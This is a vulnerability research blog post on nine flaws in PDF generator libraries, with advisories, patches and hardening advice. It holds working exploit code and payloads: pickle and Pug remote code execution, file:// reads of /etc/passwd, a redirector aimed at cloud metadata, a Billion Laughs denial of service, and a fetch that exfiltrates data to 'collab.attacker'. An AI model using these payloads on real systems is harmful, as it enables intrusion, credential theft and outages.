Exploring PDF generators: 0-days across 90 million targets a month

Escrito por  Pedro Cruz

  • By Pedro “gankd” Cruz — Pentest Analyst and Vulnerability Researcher at Hakai Security.

Almost every feature-rich application emits a PDF at some point: invoice, receipt, report, certificate, contract, bank statement. And behind that “Export PDF” button there’s almost always an open-source lib assembling HTML with user data, throwing it at a parser and returning the file, on the server, with access to the filesystem, the internal network and, with some luck, the cloud metadata endpoint.

That makes the PDF generator one of the most underestimated targets in an application. ReportLab alone is 50 million downloads per month on PyPI. Add WeasyPrint, Dompdf, mPDF, TCPDF, Browsershot, ReLaXed and the surface passes 90 million installs per month.

This article covers nine real 0-days found in these libs, from RCE to arbitrary file read. After the cases, I condense everything into a short methodology you can apply to any target.


Table of contents

  1. What is a PDF generator (and why it’s such a good target)
  2. Identifying the engine
  3. The vulnerabilities
  1. The methodology
  2. Conclusion
  3. Pratice

What is a PDF generator

A PDF generator is the component that turns dynamic data, a parameter, database content, form input, into a document. The most common (and most dangerous) pattern is HTML-to-PDF: the application assembles an HTML template, injects the user’s data and hands it to a lib to render. This runs on the backend because it takes time, and that’s exactly where a trust boundary is crossed.

When user input is concatenated into the template without sanitization, the renderer starts interpreting tags, attributes, CSS and SVG coming from the attacker. Depending on the engine, this becomes HTML injection, SSRF, local file read, insecure deserialization or even RCE. And since these services usually live inside the perimeter, next to sensitive data and with a looser network, a “dumb” bug in the renderer escalates fast into a serious incident.

The features where this shows up are always the same:

  • Invoice, receipt, tax note, transfer confirmation
  • Analytics report with a customizable filter
  • Course certificate (e-learning platforms)
  • Account export, bank statement
  • Invitation, contract, authorization, proposal
  • Ticket, voucher, pass

Identifying the engine

Before testing any payload it’s worth finding out who is generating the file, that alone tells you half the vectors that will work. The signature is usually in the PDF’s own metadata:

exiftool invoice.pdf | grep -iE 'producer|creator'
ProducerWhere it runsJS?
WeasyPrint, mPDF, TCPDF, Dompdf, ReportLabServer-sideNo
wkhtmltopdf / Skia/PDF (Chromium), Browsershot, ReLaXedServer-sideYes
jsPDF, pdf-lib, html2pdf.jsClient-side

The server vs. client distinction is the first that matters: in client-side (jsPDF, pdf-lib) the PDF is born in the victim’s own browser, there’s no target. The with JS vs. without JS distinction decides the entire exploitation strategy, and it’s what separates “I won the hunt” from “I’ll have to attack tag by tag”.

With the signature in hand, we recommend checking for known CVEs and documented intentional behaviors of the lib.


The vulnerabilities

Nine real cases in widely used libraries across the ecosystem. The research was conducted to explore multiple HTML injection vectors; of the vulnerabilities found, here are the most relevant:

#LibClassImpact
1ReportLabDeserialization (pickle)RCE
2ReLaXedTemplate injection (Pug)RCE
3WeasyPrintlink rel=attachmentLocal File Read
4WeasyPrintSSRF bypass via redirectSSRF → cloud metadata
5BrowsershotBlocklist doesn’t cover UNCLFI
6mPDFBillion Laughs in SVGDoS
7Dompdf@font-face → OOMFile existence oracle
8TCPDFImage error leaks pathFile existence oracle
9mPDFfile_get_contents on a directoryDirectory enumeration

#1 — ReportLab: RCE via deserialization

Target: reportlab50.9M downloads/month (PyPI).
Sink: reportlab/lib/utils.py::decode_label.
Fix: ReportLab 4.4.8 (2026-01-15).

ReportLab uses pickle.loads() on a path that looked internal:

def decode_label(label):
    return pickle.loads(base64_decodebytes(label.encode('latin1')))

pickle.loads on untrusted data is RCE — everybody knows that. What was missing was the trigger.

ReportLab supports a tag called <onDraw name="func" label="data"/> inside Paragraph. When the application uses SimpleIndex (the documented way to generate an index) and arms the canvas with getCanvasMaker(), the _indexAdd method becomes reachable by name — and it calls decode_label(label) directly.

Result: any text that becomes a Paragraph and accepts <onDraw> is RCE.

Vulnerable implementation:

doc = SimpleDocTemplate("exploit.pdf")
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"<b>html injection</b>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

doc.build(story, canvasmaker=index_gadget.getCanvasMaker())

Exploit:

import pickle, base64, os
from reportlab.platypus import SimpleDocTemplate, Paragraph
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.platypus.tableofcontents import SimpleIndex

class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/rce_success.txt',))

payload_bin = pickle.dumps(Exploit())
malicious_label = base64.b64encode(payload_bin).decode('latin1')

doc = SimpleDocTemplate('exploit.pdf')
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"Triggering Exploit... <onDraw name='_indexAdd' label='{malicious_label}'/>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

try:
    doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
except Exception:
    pass

assert os.path.exists('/tmp/rce_success.txt')

Official patch: https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981. Update to 4.4.8 or higher.


#2 — ReLaXed: RCE via Pug

Target: RelaxedJS/ReLaXed11.8k stars (distributed via clone/Docker).
Sink: src/masterToPDF.js, pug.render(...).

The context ReLaXed passes to pug.render() leaves Node’s require visible to the template. If user input is concatenated into the template source (not as a local), Pug opens a code block with - ... and any JS runs.

Scenario:

app.post('/generate-report', (req, res) => {
    const userTitle = req.body.title;
    const templateContent = `
h1 User Report
p Welcome to the report for: ${userTitle}
`;
    fs.writeFileSync('user_report.pug', templateContent);
    exec('relaxed user_report.pug', (error) => {
        if (error) return res.status(500).send("Error generating PDF");
        res.download('user_report.pdf');
    });
});

Payload:

#{""}
- var cmd = require('child_process').execSync('id').toString()
p RCE Result: #{cmd}

It breaks out of the text context, opens a JS block, loads child_process, executes and spits stdout into the PDF. RCE as the process running ReLaXed.

Fix: never concatenate input into template source. Pass it as locals: pug.render(template, { title: userTitle }). And strip require from the context.


#3 — WeasyPrint: Local File Read

Target: weasyprint26.9M downloads/month (PyPI).
CVE: CVE-2024-28184.
Credit: @nullienot my discovery. Included because it’s the primitive I used in the engagement that became CVE-2025-68616.

WeasyPrint accepts <link rel="attachment"> and the href can be file://. The resource becomes an attachment embedded in the PDF.

<link rel="attachment" href="file:///etc/passwd">

To extract:

$ pdfdetach -saveall attachment.pdf
$ cat passwd
root:x:0:0:root:/root:/bin/bash
...

Tip! <link> renders nothing visible, so sanitizers that only look at visual content let it through. Whenever there’s an “attach file to PDF”, think file://.


#4 — WeasyPrint: SSRF bypass via redirect

Target: WeasyPrint < 68.0.
Sink: default_url_fetcher in weasyprint/urls.py.
CVE: CVE-2025-68616CVSS 7.5 High.

Same engagement as #3. After the LFR, I went after AWS metadata:

<link rel="attachment" href="https://169.254.169.254">

It didn’t work. The team had a custom url_fetcher blocking strings with 169.254.169.254, localhost, etc. Defense in depth — in theory.

In practice: WeasyPrint lets the developer validate URLs in the url_fetcher, but the default implementation uses urllib.request.urlopen, which follows 301/302/307 redirects on its own, without re-entering the fetcher. Classic TOCTOU. The initial URL passes, the attacker responds 302 Location: http://169.254.169.254/..., and urllib follows blind.

The app’s “secure” filter:

def secure_fetcher(url):
    if "169.254.169.254" in url:
        raise PermissionError(f"Access to {url} denied.")
    return default_url_fetcher(url)

Attacker’s redirector:

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def malicious():
    return redirect("https://169.254.169.254", code=302)

app.run(port=1337)

Payload:

<link rel="attachment" href="https://mysite/redirect">

secure_fetcher validates mysite. Approves. urllib follows the 302. STS credential in the PDF.

Update to WeasyPrint ≥ 68.0. Advisory: GHSA-983w-rhvv-gwmv.


#5 — Browsershot: LFI via UNC

Target: spatie/browsershot1.5M installs/month (Packagist).
Sink: src/Browsershot.php, the $unsafeProtocols property.

Badly built blacklist:

protected array $unsafeProtocols = [
    'file:', 'file:/', 'file://', 'file:\\', 'file:\\\\', 'view-source',
];

Doesn’t cover UNC. Chromium accepts \\localhost\etc\passwd and resolves it as the local filesystem — without the file:// protocol.

$payload = '<iframe src="\\\\localhost/etc/passwd" width="1000" height="1000"></iframe>';
\Spatie\Browsershot\Browsershot::html($payload)->save('output.pdf');

Open the PDF, /etc/passwd is there.

Fix: allowlist (https://, http://, data: if needed). Everything else denied by default.


#6 — mPDF: DoS via Billion Laughs

Target: mpdf/mpdf2M installs/month (Packagist).
Sink: src/Image/Svg.php::ImageSVG.

mPDF has a manual <!ENTITY> expander for SVG using preg_replace in a loop. Classic mistake — it bypasses all of libxml‘s protections:

if (preg_match('/<!ENTITY/si', $data)) {
    preg_match_all('/<!ENTITY\s+([a-z]+)\s+\"(.*?)\">/si', $data, $ent);
    for ($i = 0; $i < count($ent[0]); $i++) {
        $data = preg_replace(
            '/&' . preg_quote($ent[1][$i], '/') . ';/is',
            $ent[2][$i],
            $data
        );
    }
}

Each iteration expands one entity across the whole string. Entity i that references i-1 (already expanded) gets re-expanded. Exponential growth.

PoC:

$payload = '
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY a "AAAAAAAAAA">
<text x="0" y="0">&i;</text>
</svg>';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML($payload);
$mpdf->Output();

482 bytes of input, ~1 GB of RAM, process killed by memory_limit. Twenty parallel requests take down the fleet.

Fix: let libxml handle this. If keeping manual expansion, limit depth and size on each iteration.


#7 — Dompdf: file existence oracle

Target: dompdf/dompdf5.8M installs/month (Packagist).
Class: CWE-770.
CVE: CVE-2026-55555CVSS 6.3 Medium.

Dompdf processes @font-face with src: url(file://...). If the file exists, the font engine tries a heavy parse per declaration and exhausts PHP’s memory limit, causing a crash. If it doesn’t exist, it fails and moves on.

Repeating the same declaration hundreds of times:

  • File exists → OOM → fatal.
  • File doesn’t exist → PDF generated.

Chroot bypass, because what leaks is only existence metadata. PHP’s default memory_limit is 128M.

PoC:

$dompdf = new Dompdf(new Options());

function generate_payload($file, $iterations) {
    $css = $body = '';
    for ($i = 0; $i < $iterations; $i++) {
        $css  .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }
    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

$payload = generate_payload('/etc/passwd', 5250);
$dompdf->loadHtml($payload);
$dompdf->render();

When the file exists:

PHP Fatal error: Allowed memory size of 134217728 bytes exhausted

Fix: Dompdf 3.1.6+ validates the file path during stylesheet URL resolution. The resolveUrl() method now checks whether the resolved path is outside the configured chroot. If it is, it rejects the import instead of trying to process it.


#8 — TCPDF: file existence oracle

Target: tecnickcom/tcpdf2.7M installs/month (Packagist).
Sink: Image() in tcpdf.php.

When the HTML has an <img>, TCPDF:

  1. Checks fileExists($file). If false, moves on silently.
  2. If it exists, calls getimagesize().
  3. If getimagesize() fails (a directory, or a non-image file like config.php) without explicit width/height in the HTML, TCPDF calls Error() with a message that includes the full path.
ScenarioResult
File doesn’t existNormal PDF
File/directory existsTCPDF ERROR: [Image] Unable to get the size of /path/file

PoC:

<img src="config.php">
<img src="/.env">
<img src="/admin/">
<img src="/var/backups/db.sql">
<img src="/home/deploy/.ssh/id_rsa">

TCPDF processes in order and dies on the first hit, returning the path. Lists of 15k entries work in a single HTTP request. A WAF watching for 404s or path traversal sees nothing, the “fuzz” happens inside the PHP process.


#9 — mPDF: directory enumeration

Target: mpdf/mpdf2M installs/month (Packagist).
Sink: src/File/LocalContentLoader.php.

public function load($path)
{
    return file_get_contents($path);
}

If the path is an existing directory, file_get_contents emits a warning. The warning goes to stdout, and by that point mPDF has already started writing PDF bytes — “Output already sent”, fatal. If the path doesn’t exist, it fails silently and the PDF comes out clean.

Crash vs. PDF = oracle.

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="/var/lib/docker" />');
$mpdf->Output();

/etc exists → Linux. C:/Windows exists → Windows. /var/www/secret-project exists → there’s a target. Pairs very well with any later LFI.

Fix:

public function load($path)
{
    if (is_dir($path)) return null;
    return file_get_contents($path);
}

The methodology

Across all the bugs identified, I used the same methodology. If you followed the cases above, you’ve already seen each technique in action. Here are six steps applicable to any “Export PDF” feature, capable of finding new vulnerabilities or replicating the approaches explored across the different libraries.

1. Read the metadata — In the vast majority of applications, metadata isn’t sanitized. With a simple exiftool read, you can identify the technology in use. That determines whether it’s server-side (opening a wider range of attacks) or client-side, each with its own exploitation vectors.

2. HTML injection — A simple test with tags like <b>injection-test</b> in the field that appears in the PDF (name, description, note, title). Bold = you have injection. Also test HTML entities like &amp; and URL-encoded characters (e.g. > as %3E) to understand how the library parses the input. HTML injection is the main vector to escalate server-side vulnerabilities.

3. Does JS execute? The test that decides the hunt:

<script>document.write("js-executed")</script>

Printed = headless engine (Chromium / wkhtmltopdf / Browsershot / ReLaXed). You won. Didn’t print = WeasyPrint / mPDF / TCPDF / Dompdf / ReportLab — no JS, but plenty of tags to attack. <script> filtered? <svg onload=...> and <img src=x onerror=...>.

4a. With JS, everything becomes code. You have fetch, XHR and the server’s network:

<!-- cloud metadata (the best-paying score) -->
<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- local file (works even when iframe file:// is blocked) -->
<script>fetch('file:///etc/passwd').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- blind exfil when the PDF is discarded -->
<script>fetch('http://internal').then(r=>r.text()).then(d=>fetch('https://collab.attacker/?d='+btoa(d)))</script>

From there: internal network (http://10.0.0.1/admin, Redis, Elastic, Jenkins), timing-based port scan, and RCE when the template compiles server-side (require('child_process') in Pug/EJS, that was case #2).

4b. Without JS, tag by tag. You lose programmatic control, but you attack every tag that fires a request:

<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe>     <!-- LFI -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="2000"></iframe>  <!-- metadata -->
<link rel="attachment" href="file:///etc/passwd">                        <!-- WeasyPrint, cases #3/#4 -->
<embed src="http://169.254.169.254/" />                                  <!-- iframe blocked -->
<svg><image xlink:href="../../../etc/passwd" width="100%"/></svg>        <!-- SVG path traversal -->
<style>@font-face{font-family:x;src:url('file:///etc/passwd')}</style>   <!-- CSS + oracle, case #7 -->

Blind? Point <img>, <link rel=stylesheet>, @import, <base> and <meta refresh> at your OAST and confirm network egress before wasting time.

5. Filters blocking exploitation? — In many cases blocklists are implemented and there’s almost always a bypass:

  • Encodingfile:// becomes &#102;ile:; ../ becomes ..%2f (the urldecode() decodes after the check — TCPDF patch bypass).
  • Alternative protocol — UNC \\localhost\etc\passwd in Chromium, without using file:// (case #5).
  • Alternative tag<img> blocked? <input type=image>, <video>, <svg><image href>. <iframe>? <embed>, <object>.
  • <base href> — rewrites relative URL resolution for the entire page; a filter watching src= doesn’t see it.
  • Redirect — an allowlist that doesn’t revalidate on the hop: respond 302 Location: http://internal (case #4).
  • Alternative IP encoding169.254.169.254 becomes [2002:a9fe:a9fe::] (6to4) or [64:ff9b::a9fe:a9fe] (NAT64). The stdlib’s IsPrivate() doesn’t catch it.
  • Switch layers — HTML filtered → CSS → inline SVG → base64 SVG in <img src="data:...">. The three sanitizers rarely cover the same set.

6. Nothing reflects? Side-channel — If you got HTML injection but couldn’t escalate to anything, whether due to library maturity or lack of code, there are side-channels that almost always work. Response time (port scan, hostname discovery), status code, crash vs. success (file existence oracle: cases #7 and #9) and error messages leaking the path (case #8) are viable channels. Beyond that, tags like <img> can be used for file or directory discovery via import, and in extreme cases even cross-site leaks exploiting the behavior of HTML tags reaching the internal network. Rarely critical on its own, in certain specific contexts it can be combined with other flaws.


Conclusion

A PDF generator is a good target for three reasons: the user’s input enters the renderer almost intact, the renderer runs on the server (with filesystem, internal network and sometimes cloud credentials), and the surface is absurd: each lib has dozens of tags, attributes and features. Nine cases later, the pattern is clear: the bug is almost never exotic; it’s pickle.loads, preg_replace in a loop or a blocklist that forgot an encoding.

And when the vendor ships a patch, read the diff before accepting it as final. Patch bypass is extremely common.

For whoever maintains this kind of service:

  • Allowlist, never blocklist. Protocol, host, path — deny by default.
  • Revalidate on every hop. A filter that doesn’t re-enter on a redirect is useless.
  • Don’t call an unsafe parser on user data. pickle.loads, eval, preg_replace in a loop, unserialize() on external data — any of them is RCE/DoS waiting to happen.
  • Engine with JS: disable JS, isolate the worker’s network, don’t load real session cookies.
  • A generic error message closes most of the oracles.
  • Classify addresses by class (including tunneled prefixes), not by string. The stdlib’s IsPrivate() doesn’t cover 6to4/Teredo/NAT64.
  • When you publish a patch, tag a release the same day. A fix on main without a tag leaves downstream blind.

You just saw nine ways to turn an “Export PDF” button into RCE, file read, SSRF and DoS, and the methodology to find the next one yourself. Now go open Burp on the next target with PDF export and test. Let’s hack!


Pratice

The Hacking Club is a training platform focused on developing cybersecurity professionals. The Certifia challenge simulates a server with the vulnerability referenced in this post and can be used to reinforce the knowledge presented.


Logo da Hakai.